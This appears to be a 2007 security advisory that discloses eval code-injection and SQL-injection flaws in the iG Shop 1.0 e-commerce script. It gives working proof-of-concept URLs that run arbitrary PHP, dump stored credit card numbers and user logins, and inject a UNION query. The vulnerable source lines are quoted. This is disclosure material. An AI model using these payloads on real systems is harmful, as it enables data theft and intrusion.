iG Shop 1.0 (eval/sql injection) Multiple Remote Vulnerabilities

🗓️ 05 Jan 2007 00:00:00Reported by RootType

iG Shop 1.0 (eval/sql injection) Multiple Remote Vulnerabilities. ig-shop suffers from two eval's that can be controlled by an attacker, allowing for credit card number and login dumps. SQL injection works regardless of magic_quotes_gpc.


                                                &quot;If&nbsp;eval&nbsp;is&nbsp;the&nbsp;answer,&nbsp;&nbsp;then&nbsp;you&nbsp;are&nbsp;asking&nbsp;the&nbsp;wrong&nbsp;question.&quot;
--Unknowen

ig-shop&nbsp;suffers&nbsp;from&nbsp;two&nbsp;eval's&nbsp;that&nbsp;can&nbsp;be&nbsp;controlled&nbsp;by&nbsp;an&nbsp;attacker:
http://127.0.0.1/ig_shop/cart.php?action=;phpinfo();//
./cart.php&nbsp;line&nbsp;692:
eval&nbsp;(&quot;cart_$action();&quot;);

http://127.0.0.1/ig_shop/page.php?action=;phpinfo();//
./page.php&nbsp;line&nbsp;336:
eval&nbsp;(&quot;page_$action();&quot;);

Dumps&nbsp;all&nbsp;credit&nbsp;card&nbsp;numbers:
http://127.0.0.1/ig_shop/cart.php?action=;$q=mysql_query(stripslashes($l));while($a=mysql_fetch_array($q)){print_r($a);}//&amp;l=select%20*%20from%20orders
Some&nbsp;of&nbsp;these&nbsp;variables&nbsp;can&nbsp;be&nbsp;decoded&nbsp;using&nbsp;the&nbsp;unserlize()&nbsp;&nbsp;funciton.

Dumps&nbsp;all&nbsp;logins:
http://127.0.0.1/ig_shop/cart.php?action=;$q=mysql_query(stripslashes($l));while($a=mysql_fetch_array($q)){print_r($a);}//&amp;l=select%20*%20from%20users


sql&nbsp;injection&nbsp;works&nbsp;regardless&nbsp;of&nbsp;magic_quotes_gpc.
http://127.0.0.1/ig_shop/compare_product.php?id=1%20union%20select%201
./compare_product.php&nbsp;line&nbsp;11:
$qry_txt=&quot;select&nbsp;type_id&nbsp;from&nbsp;catalog_product&nbsp;where&nbsp;product_id=&quot;.$HTTP_GET_VARS[id];
Should&nbsp;have&nbsp;used&nbsp;quote&nbsp;marks.&nbsp;

vendor's&nbsp;page:http://www.igeneric.co.uk/

By&nbsp;Michael&nbsp;Brooks.&nbsp;

05 Jan 2007 00:00Current

7.1High risk

Vulners AI Score7.1